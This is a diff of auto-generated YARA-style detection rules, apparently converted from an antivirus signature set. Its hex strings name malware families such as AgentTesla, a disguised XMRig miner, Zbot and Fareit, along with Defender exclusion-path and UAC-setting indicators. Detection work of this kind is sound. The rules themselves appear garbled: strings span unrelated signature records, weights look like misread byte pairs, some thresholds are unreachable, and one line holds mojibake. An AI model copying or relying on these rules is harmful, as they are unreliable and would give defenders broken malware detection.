31 21 4d 54 42 00 04 00 2d 01 36 49 43 45 43 63 6b 76 45 63 64 5a 6e 75 35 6b 6d 50 76 6e 50 41 33 6d 7a 6e 39 62 30 6d 74 66 4f 6d 66 55 64 6c 58 78 46 5a 6b 56 52 04 00 } //29230 - $a_49_6 = {45 43 63 6b 76 45 63 64 5a 6e 75 35 6b 6d 50 76 6e 50 41 33 6d 7a 6e 39 62 30 6d 74 66 4f 6d 66 55 64 6c 58 78 46 5a 6b 56 34 01 00 2e 01 2d 36 49 43 45 43 63 6b } //301 - $a_64_7 = {6e 75 35 6b 6d 50 76 6e 50 41 33 6d 7a 6e 39 62 30 6d 74 66 4f 6d 66 55 64 6c 58 78 46 5a 6b 56 52 01 00 13 01 33 d2 8a d1 89 94 85 e4 fb ff ff 90 46 81 fe 00 01 00 00 00 00 78 d4 00 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 } //17782 + $a_d4_2 = {00 08 00 08 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 6e 65 50 6c 61 74 66 6f 72 6d 00 02 00 0d 80 01 64 69 37 65 31 6a 35 66 31 70 6c 66 6f 01 00 0a 80 01 61 66 78 77 69 6e 32 2e 69 6e 01 00 0c 80 01 66 69 6c 65 63 6f 72 65 2e 63 70 70 01 00 11 80 01 54 4f 4f 4c 42 41 52 5f 50 4f 50 55 50 4d 45 4e 55 01 00 1d 80 01 41 46 58 5f 57 4d 5f 41 46 54 45 52 } //0 + $a_53_3 = {42 41 52 5f 41 43 54 49 56 41 54 45 01 00 13 80 01 41 70 70 57 69 7a 61 72 64 2d 47 65 6e 65 72 61 74 65 64 01 00 14 80 01 51 75 69 63 6b 20 41 63 63 65 73 73 20 54 6f 6f 6c 62 61 72 01 00 08 80 } //21599 + $a_69_4 = {20 41 6c 6c 01 00 07 80 01 44 65 63 6c 69 6e 65 00 00 78 d4 00 00 09 00 09 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 67 75 69 73 65 64 58 4d 52 69 67 2e 4d 58 21 4d 54 42 00 06 00 08 00 57 69 6e 6d 69 6e 65 72 01 00 34 80 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e } //21249 + $a_73_5 = {44 65 66 65 6e 64 65 72 5c 45 78 63 6c 75 73 69 6f 6e 73 5c 50 61 74 68 73 01 00 04 00 74 72 69 78 01 00 34 00 43 00 6f 00 6e 00 73 00 65 00 6e 00 74 00 50 00 72 00 6f 00 6d 00 70 00 74 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 41 00 64 00 6d 00 69 00 6e 00 01 00 1b 00 53 69 73 74 65 6d 61 20 4f 70 65 72 61 74 69 76 6f 20 4d 69 63 72 6f 73 6f 66 } //28516 + $a_00_7 = {09 00 09 00 21 23 48 53 54 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_d4_2 & 1)*0+(#a_00_3 & 1)*26478+(#a_65_4 & 1)*384+(#a_73_5 & 1)*29230+(#a_49_6 & 1)*301+(#a_64_7 & 1)*17782) >=8 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_d4_2 & 1)*0+(#a_53_3 & 1)*21599+(#a_69_4 & 1)*21249+(#a_73_5 & 1)*28516+(#a_00_7 & 1)*0) >=8 } -rule _InfrastructureShared_14326{ +rule _InfrastructureShared_15267{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 4f 6e 65 50 6c 61 74 66 6f 72 6d 00 02 00 0d 80 01 64 69 37 65 31 6a 35 66 31 70 6c 66 6f 01 00 0a 80 01 61 66 78 77 69 6e 32 2e 69 6e 01 00 0c 80 01 66 69 6c 65 63 6f 72 65 2e 63 70 70 01 00 11 80 01 54 4f 4f 4c 42 41 52 5f 50 4f 50 55 } //20515 + $a_4e_1 = {01 00 1d 80 01 41 46 58 5f 57 4d 5f 41 46 54 45 52 5f 54 41 53 4b 42 41 52 5f 41 43 54 49 56 41 54 45 01 00 13 80 01 41 70 70 57 69 7a 61 72 64 2d 47 65 6e 65 72 61 74 65 64 01 00 14 80 01 51 75 69 63 6b 20 } //19792 + $a_65_2 = {73 20 54 6f 6f 6c 62 61 72 01 00 08 80 01 53 6b 69 70 20 41 6c 6c 01 00 07 80 01 44 65 63 6c 69 6e 65 00 00 78 d4 00 00 09 00 09 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 67 75 69 73 65 64 58 4d 52 69 67 2e 4d 58 21 4d 54 42 00 06 00 08 00 57 69 6e 6d 69 6e 65 72 01 } //25409 + $a_01_3 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 45 78 63 6c 75 73 69 6f 6e 73 5c 50 61 74 68 73 01 00 04 00 74 72 69 78 01 00 34 00 43 00 6f 00 6e 00 73 00 65 00 6e 00 74 00 50 00 72 00 6f 00 6d 00 70 00 74 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 41 00 64 00 6d 00 69 00 6e 00 01 00 1b 00 53 69 73 74 65 6d 61 20 } //13312 + $a_72_4 = {74 69 76 6f 20 4d 69 63 72 6f 73 6f 66 74 00 00 78 d4 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 48 21 4d 54 42 00 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 } //28751 + $a_00_5 = {07 } //25959 + $a_65_6 = {65 72 73 65 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 0b 80 01 4c 69 62 50 69 78 65 6c 50 65 74 01 00 2a 80 01 4c 69 62 50 69 } //384 + $a_50_7 = {74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 d4 00 00 0a 00 0a 00 04 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 46 61 72 65 69 74 2e 41 4b 4b 31 21 4d 54 42 00 04 00 2d 01 36 49 43 45 43 63 6b 76 45 63 64 5a 6e 75 35 6b 6d 50 76 6e 50 41 33 6d 7a 6e 39 } //25976 + $a_74_8 = {4f 6d 66 55 64 6c 58 78 46 5a 6b 56 52 04 00 2d 01 36 49 43 45 43 63 6b 76 45 63 64 5a 6e 75 35 6b 6d 50 76 6e 50 41 33 6d 7a 6e 39 62 30 6d 74 66 4f 6d 66 55 64 6c 58 78 46 5a 6b 56 34 01 00 2e 01 2d 36 49 43 45 43 63 6b 76 45 63 64 5a 6e 75 35 6b 6d 50 76 6e 50 41 33 6d 7a 6e 39 62 30 6d 74 66 4f 6d 66 55 64 6c 58 78 46 5a } //12386 + condition: + ((#a_41_0 & 1)*20515+(#a_4e_1 & 1)*19792+(#a_65_2 & 1)*25409+(#a_01_3 & 1)*13312+(#a_72_4 & 1)*28751+(#a_00_5 & 1)*25959+(#a_65_6 & 1)*384+(#a_50_7 & 1)*25976+(#a_74_8 & 1)*12386) >=8 + +} +rule _InfrastructureShared_15268{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 67 75 69 73 65 64 58 4d 52 69 67 2e 4d 58 21 4d 54 42 00 06 00 08 00 57 69 6e 6d 69 6e 65 72 01 00 34 80 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 } //16675 + $a_65_1 = {65 6e 64 65 72 5c 45 78 63 6c 75 73 69 6f 6e 73 5c 50 61 74 68 73 01 00 04 00 74 72 69 78 01 00 34 00 43 00 6f 00 6e 00 73 00 65 00 6e 00 74 00 50 00 72 00 6f 00 6d 00 70 00 74 00 42 00 65 00 68 00 61 00 } //8307 + $a_00_2 = {6f 00 72 00 41 00 64 00 6d 00 69 00 6e 00 01 00 1b 00 53 69 73 74 65 6d 61 20 4f 70 65 72 61 74 69 76 6f 20 4d 69 63 72 6f 73 6f 66 74 00 00 78 d4 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 48 21 4d 54 42 00 01 00 0f 80 01 4f 66 66 73 } //118 + $a_61_3 = {73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 07 80 01 52 65 76 65 72 73 65 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 01 00 09 } //29797 + $a_65_4 = {4d 65 74 68 6f 64 01 00 0b 80 01 4c 69 62 50 69 78 65 6c 50 65 74 01 00 2a 80 01 4c 69 62 50 69 78 65 6c 50 65 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 } //384 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*8307+(#a_00_2 & 1)*118+(#a_61_3 & 1)*29797+(#a_65_4 & 1)*384) >=9 + +} +rule _InfrastructureShared_15269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -163701,7 +174683,7 @@ rule _InfrastructureShared_14326{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_d4_7 & 1)*0+(#a_74_8 & 1)*12386) >=9 } -rule _InfrastructureShared_14327{ +rule _InfrastructureShared_15270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -163714,7 +174696,7 @@ rule _InfrastructureShared_14327{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*17221+(#a_90_2 & 1)*-5+(#a_70_3 & 1)*18479) >=10 } -rule _InfrastructureShared_14328{ +rule _InfrastructureShared_15271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -163735,7 +174717,7 @@ rule _InfrastructureShared_14328{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_d4_8 & 1)*0+(#a_00_9 & 1)*144+(#a_2f_10 & 1)*14960+(#a_65_11 & 1)*26950) >=12 } -rule _InfrastructureShared_14329{ +rule _InfrastructureShared_15272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -163749,7 +174731,7 @@ rule _InfrastructureShared_14329{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*20304+(#a_6c_2 & 1)*30565+(#a_70_3 & 1)*17780+(#a_72_4 & 1)*385) >=16 } -rule _InfrastructureShared_14330{ +rule _InfrastructureShared_15273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -163759,42 +174741,39 @@ rule _InfrastructureShared_14330{ $a_49_2 = {53 54 41 4e 43 45 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 00 78 d4 00 00 13 00 13 00 09 00 21 23 48 53 54 52 3a } //29797 $a_6a_3 = {6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 30 35 21 4d 54 42 00 0a 00 0d 02 20 00 5a 00 00 8d 90 01 01 00 00 90 00 02 00 0c 81 01 54 30 6f 30 57 69 30 6e 30 33 30 32 01 00 25 00 24 39 37 62 33 30 30 38 38 2d 34 32 65 65 2d 34 32 66 33 2d 61 61 66 39 2d 33 34 61 64 64 62 61 36 64 63 61 31 01 00 08 00 54 6f 53 74 72 69 } //29268 $a_00_4 = {08 } //26478 - $a_74_5 = {69 78 65 6c 01 00 13 00 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 07 00 52 65 70 6c 61 63 65 00 00 78 d5 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //18176 - $a_6f_6 = {2e 53 49 42 44 32 33 21 4d 54 42 00 01 00 a6 02 8b f2 0f b6 17 33 ca 8a d1 d1 e9 80 e2 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 } //23087 - $a_01_7 = {74 } //-28446 t + $a_74_5 = {69 78 65 6c 01 00 13 00 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 07 00 52 65 70 6c 61 63 65 00 00 78 d4 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //18176 + $a_7a_6 = {2e 4c 4d 49 21 4d 54 42 00 14 00 74 01 48 8b 84 24 90 00 00 00 48 89 84 24 20 03 00 00 8b 44 24 68 89 84 24 2c 03 00 00 48 8d 84 24 90 01 00 00 48 89 84 24 b8 01 00 00 48 8b 84 24 b8 01 00 00 48 8d 84 24 28 01 00 00 48 89 84 24 c0 01 00 00 48 8b 84 24 c0 01 00 00 48 8d 84 24 24 01 00 00 48 } //19503 + $a_c8_7 = {00 00 48 8b 84 24 c8 01 00 00 65 48 8b 04 25 60 00 00 00 48 8b 40 18 48 8b 40 20 0a 00 30 03 8d 48 ff 0f af } //-31607 condition: - ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*13925+(#a_49_2 & 1)*29797+(#a_6a_3 & 1)*29268+(#a_00_4 & 1)*26478+(#a_74_5 & 1)*18176+(#a_6f_6 & 1)*23087+(#a_01_7 & 1)*-28446) >=17 + ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*13925+(#a_49_2 & 1)*29797+(#a_6a_3 & 1)*29268+(#a_00_4 & 1)*26478+(#a_74_5 & 1)*18176+(#a_7a_6 & 1)*19503+(#a_c8_7 & 1)*-31607) >=17 } -rule _InfrastructureShared_14331{ +rule _InfrastructureShared_15274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 09 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 30 35 21 4d 54 42 00 0a 00 0d 02 20 00 5a 00 00 8d 90 01 01 00 00 90 00 02 00 0c 81 01 54 30 6f 30 57 69 30 6e 30 33 30 32 01 00 25 00 24 39 37 62 33 30 30 38 38 2d 34 32 65 } //18467 $a_32_1 = {33 2d 61 61 66 39 2d 33 34 61 64 64 62 61 36 64 63 61 31 01 00 08 00 54 6f 53 74 72 69 6e 67 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 13 00 49 6e 69 74 69 } //11621 ⴳ慡㥦㌭愴摤慢搶慣ıࠀ吀卯牴湩ŧࠀ䜀瑥楐數Ŭጀ䤀楮楴 - $a_7a_2 = {43 6f 6d 70 6f 6e 65 6e 74 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 07 00 52 65 70 6c 61 63 65 00 00 78 d5 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 32 33 21 4d 54 42 00 01 00 a6 02 8b } //27745 - $a_17_3 = {ca 8a d1 d1 e9 80 e2 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 47 4e 0f 85 90 01 04 f7 d1 3b 4d 90 01 01 74 90 00 00 00 78 d5 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 59 32 56 3a } //4082 - $a_65_4 = {79 65 2f 41 50 54 5f 4c 6f 61 64 65 72 5f 4d 53 49 4c 5f 50 47 46 5f 31 00 01 00 a1 03 5d 91 61 d2 9c 11 90 01 01 90 04 01 03 10 2d 1f 58 13 90 01 03 90 02 02 8e 90 04 01 03 60 2d 6f 3f 90 0a 21 00 72 90 01 04 6f 90 01 02 00 0a 26 90 02 10 90 04 01 03 00 2d 0f 6f 90 01 02 00 0a 90 01 01 90 02 02 90 04 01 03 00 2d 0f 28 90 01 02 00 0a 90 02 } //26950 - $a_01_5 = {03 00 2d 0f } //-28671 - $a_04_6 = {90 } //-28558 - $a_04_7 = {01 03 00 2d 0f 28 90 01 02 00 0a 90 02 01 90 04 01 03 00 2d 0f 6f 90 01 02 00 0a 13 90 01 01 90 04 01 03 10 2d 1f 13 90 01 01 38 90 01 08 90 02 08 91 90 01 03 90 02 03 8e 90 00 00 00 78 d5 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 50 72 6f 6c 6f 6f 64 2e 48 4e 42 21 4d 54 42 00 01 00 a4 03 53 74 61 72 74 00 74 69 6d 65 2e 41 66 74 65 72 00 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 65 6c } //258 - $a_6f_8 = {67 2f 6c 69 62 72 61 72 69 65 73 2f 67 6f 2f 74 65 73 74 73 2f 65 6e 64 70 6f 69 6e 74 2e 53 74 61 72 74 2e 66 75 6e 63 31 00 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 65 6c 75 64 65 6f 72 67 2f 6c 69 62 72 61 72 69 65 73 2f 67 6f 2f 74 65 73 74 73 2f 65 6e 64 70 6f 69 6e 74 2e 53 74 6f 70 00 90 02 40 6d } //25717 + $a_7a_2 = {43 6f 6d 70 6f 6e 65 6e 74 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 07 00 52 65 70 6c 61 63 65 00 00 78 d4 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 49 21 4d 54 42 00 14 00 74 01 48 8b 84 24 } //27745 + $a_24_4 = {03 00 00 8b 44 24 68 89 84 24 2c 03 00 00 48 8d 84 24 90 01 00 00 48 89 84 24 b8 01 00 00 48 8b 84 24 b8 01 00 00 48 8d 84 24 28 01 00 00 48 89 84 24 c0 01 00 00 48 8b 84 24 c0 01 00 00 48 8d 84 24 24 01 00 00 48 89 84 24 c8 01 00 00 48 8b 84 24 c8 01 00 00 65 48 8b 04 25 60 00 00 00 48 8b 40 18 48 8b 40 20 0a 00 30 03 8d 48 ff 0f af c8 f6 c1 01 b8 ce e7 4f a6 0f 44 c5 83 3d 90 01 05 0f 4c c5 } //-30392 + $a_38_5 = {0f 90 01 0a 8b 74 24 24 48 8b 4c 24 28 48 31 e1 } //3901 + $a_00_8 = {01 } //1 condition: - ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*11621+(#a_7a_2 & 1)*27745+(#a_17_3 & 1)*4082+(#a_65_4 & 1)*26950+(#a_01_5 & 1)*-28671+(#a_04_6 & 1)*-28558+(#a_04_7 & 1)*258+(#a_6f_8 & 1)*25717) >=19 + ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*11621+(#a_7a_2 & 1)*27745+(#a_24_4 & 1)*-30392+(#a_38_5 & 1)*3901+(#a_00_8 & 1)*1) >=19 } -rule _InfrastructureShared_14332{ +rule _InfrastructureShared_15275{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 32 33 21 4d 54 42 00 01 00 a6 02 8b f2 0f b6 17 33 ca 8a d1 d1 e9 80 e2 01 74 90 01 01 81 f1 90 01 04 8a d1 d1 e9 80 e2 90 01 01 74 90 01 01 81 f1 90 01 04 8a d1 } //16675 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 49 21 4d 54 42 00 14 00 74 01 48 8b 84 24 90 00 00 00 48 89 84 24 20 03 00 00 8b 44 24 68 89 84 24 2c 03 00 00 48 8d 84 24 90 01 00 00 48 89 84 24 } //21539 condition: - ((#a_46_0 & 1)*16675) >=1 + ((#a_4c_0 & 1)*21539) >=30 } -rule _InfrastructureShared_14333{ +rule _InfrastructureShared_15276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -163804,7 +174783,7 @@ rule _InfrastructureShared_14333{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14334{ +rule _InfrastructureShared_15277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -163814,7 +174793,7 @@ rule _InfrastructureShared_14334{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_14335{ +rule _InfrastructureShared_15278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -163825,7 +174804,7 @@ rule _InfrastructureShared_14335{ ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*-30716) >=1 } -rule _InfrastructureShared_14336{ +rule _InfrastructureShared_15279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -163838,7 +174817,7 @@ rule _InfrastructureShared_14336{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=1 } -rule _InfrastructureShared_14337{ +rule _InfrastructureShared_15280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -163851,7 +174830,7 @@ rule _InfrastructureShared_14337{ ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*16706+(#a_72_2 & 1)*29806+(#a_00_3 & 1)*116) >=1 } -rule _InfrastructureShared_14338{ +rule _InfrastructureShared_15281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -163864,7 +174843,7 @@ rule _InfrastructureShared_14338{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*144+(#a_74_3 & 1)*26626+(#a_00_4 & 1)*1) >=1 } -rule _InfrastructureShared_14339{ +rule _InfrastructureShared_15282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -163876,7 +174855,7 @@ rule _InfrastructureShared_14339{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*912+(#a_04_2 & 1)*-28483) >=1 } -rule _InfrastructureShared_14340{ +rule _InfrastructureShared_15283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -163893,7 +174872,7 @@ rule _InfrastructureShared_14340{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3072+(#a_3a_3 & 1)*19521+(#a_2d_4 & 1)*23085+(#a_00_6 & 1)*110+(#a_54_7 & 1)*28261+(#a_01_8 & 1)*-28672+(#a_00_9 & 1)*0) >=1 } -rule _InfrastructureShared_14341{ +rule _InfrastructureShared_15284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -163904,7 +174883,7 @@ rule _InfrastructureShared_14341{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448) >=2 } -rule _InfrastructureShared_14342{ +rule _InfrastructureShared_15285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -163914,7 +174893,7 @@ rule _InfrastructureShared_14342{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14343{ +rule _InfrastructureShared_15286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -163925,7 +174904,7 @@ rule _InfrastructureShared_14343{ ((#a_46_0 & 1)*16675+(#a_94_2 & 1)*1553) >=2 } -rule _InfrastructureShared_14344{ +rule _InfrastructureShared_15287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -163936,7 +174915,7 @@ rule _InfrastructureShared_14344{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24931) >=2 } -rule _InfrastructureShared_14345{ +rule _InfrastructureShared_15288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -163949,7 +174928,7 @@ rule _InfrastructureShared_14345{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*-32741+(#a_68_2 & 1)*29281+(#a_66_3 & 1)*24877) >=2 } -rule _InfrastructureShared_14346{ +rule _InfrastructureShared_15289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -163962,7 +174941,7 @@ rule _InfrastructureShared_14346{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*28518+(#a_74_2 & 1)*25972+(#a_73_3 & 1)*25974) >=2 } -rule _InfrastructureShared_14347{ +rule _InfrastructureShared_15290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -163975,7 +174954,7 @@ rule _InfrastructureShared_14347{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*67+(#a_00_2 & 1)*292+(#a_43_3 & 1)*24948) >=2 } -rule _InfrastructureShared_14348{ +rule _InfrastructureShared_15291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -163987,7 +174966,7 @@ rule _InfrastructureShared_14348{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24900+(#a_00_4 & 1)*3) >=2 } -rule _InfrastructureShared_14349{ +rule _InfrastructureShared_15292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -163998,7 +174977,7 @@ rule _InfrastructureShared_14349{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*0) >=3 } -rule _InfrastructureShared_14350{ +rule _InfrastructureShared_15293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -164010,7 +174989,7 @@ rule _InfrastructureShared_14350{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637) >=3 } -rule _InfrastructureShared_14351{ +rule _InfrastructureShared_15294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -164021,19 +175000,7 @@ rule _InfrastructureShared_14351{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_14352{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 76 69 6c 6e 75 6d 2e 48 4e 41 21 4d 54 42 00 01 00 47 01 6f 6e 00 67 65 74 5f 53 74 61 72 74 49 6e 66 6f 00 50 72 6f 63 65 73 